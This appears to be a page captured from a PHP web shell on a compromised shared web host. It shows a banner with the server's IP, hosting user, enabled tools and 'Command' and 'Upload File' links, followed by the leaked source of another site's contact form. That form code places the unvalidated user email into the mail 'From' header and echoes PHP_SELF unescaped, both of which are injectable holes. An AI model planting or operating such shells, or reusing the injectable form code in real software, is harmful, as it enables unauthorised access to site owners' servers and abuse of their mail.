Server IP : 103.53.40.154 / Your IP : 3.135.205.231 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/fastelevator.in/../automationpowersolutions.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!--<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#exampleModal" data-whatever="@mdo">Open modal for @mdo</button>--> <!--<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#exampleModal" data-whatever="@fat">Open modal for @fat</button>--> <!--<button type="button" class="btn btn-primary" data-toggle="modal" data-target="#exampleModal" data-whatever="@getbootstrap">Open modal for @getbootstrap</button>--> <?php include_once('admin/config.php'); if ($_SERVER["REQUEST_METHOD"] === "POST") { if (isset($_POST['submit'])) { $name = $_POST['name']; $phone = $_POST['phone']; $email = $_POST['email']; $message = $_POST['message']; if (empty($name)) { $errors[] = "Name field is required."; } elseif (!ctype_alpha($name)) { $errors[] = "Name can only contain alphabets."; } if (empty($email)) { $errors[] = "Email field is required."; } if (empty($phone)) { $errors[] = "Phone field is required."; } elseif (!preg_match('/^\d{10}$/', $phone)) { $errors[] = "Phone number should have exactly 10 digits."; } if (!empty($message)) { $message = htmlspecialchars($message); } if (empty($errors)) { $query = "INSERT INTO `tb7_user_issue`(`name`,`email`,`phone`,`message`) VALUES (?, ?, ?, ?)"; $stmt = mysqli_prepare($db, $query); mysqli_stmt_bind_param($stmt, "ssss", $name, $email, $phone, $message); $result = mysqli_stmt_execute($stmt); mysqli_stmt_close($stmt); if ($result) { // Sending email $to = "digitalsaleem12@gmail.com"; // $to = "sadgurusteels@gmail.com"; $subject = "New Query Submitted"; $emailMessage = "A new query has been submitted:\n\n"; $emailMessage .= "Name: $name\n"; $emailMessage .= "Phone: $phone\n"; $emailMessage .= "Email: $email\n"; // $emailMessage .= "Subject: $subjects\n"; $emailMessage .= "Message: $message\n"; $headers = "From: $email"; if (mail($to, $subject, $emailMessage, $headers)) { echo "<script> window.alert('Successfully Sent! We will contact you soon'); window.location.href = '$wspath' + 'index.html'; </script>"; } else { echo "Error sending email."; } } else { echo "Error"; } } } } ?> <div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Get a Quote</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> <div class="form-group"> <label for="recipient-name" class="col-form-label">Name</label> <input type="text" class="form-control" name="name" id="recipient-name"> <?php if (isset($errors) && in_array("Name field is required.", $errors)) { ?> <p class="error">Name field is required.</p> <?php } elseif (isset($errors) && in_array("Name can only contain alphabets.", $errors)) { ?> <p class="error">Name can only contain alphabets.</p> <?php } ?> </div> <div class="form-group"> <label for="recipient-name" class="col-form-label">Phone No</label> <input type="text" class="form-control" name="phone" id="recipient-name"> <?php if (isset($errors) && in_array("Phone field is required.", $errors)) { ?> <p class="error">Phone field is required.</p> <?php } elseif (isset($errors) && in_array("Phone number should have exactly 10 digits.", $errors)) { ?> <p class="error">Phone number should have exactly 10 digits.</p> <?php } ?> </div> <div class="form-group"> <label for="recipient-name" class="col-form-label">Email</label> <input type="text" class="form-control" name="email" id="recipient-name"> <?php if (isset($errors) && in_array("Email field is required.", $errors)) { ?> <p class="error">Email field is required.</p> <?php } ?> </div> <div class="form-group"> <label for="message-text" class="col-form-label">Message:</label> <textarea class="form-control" name="message" id="message-text"></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> <button type="submit" class="btn btn-primary" name="submit" >Submit</button> </div> </form> </div> </div> </div>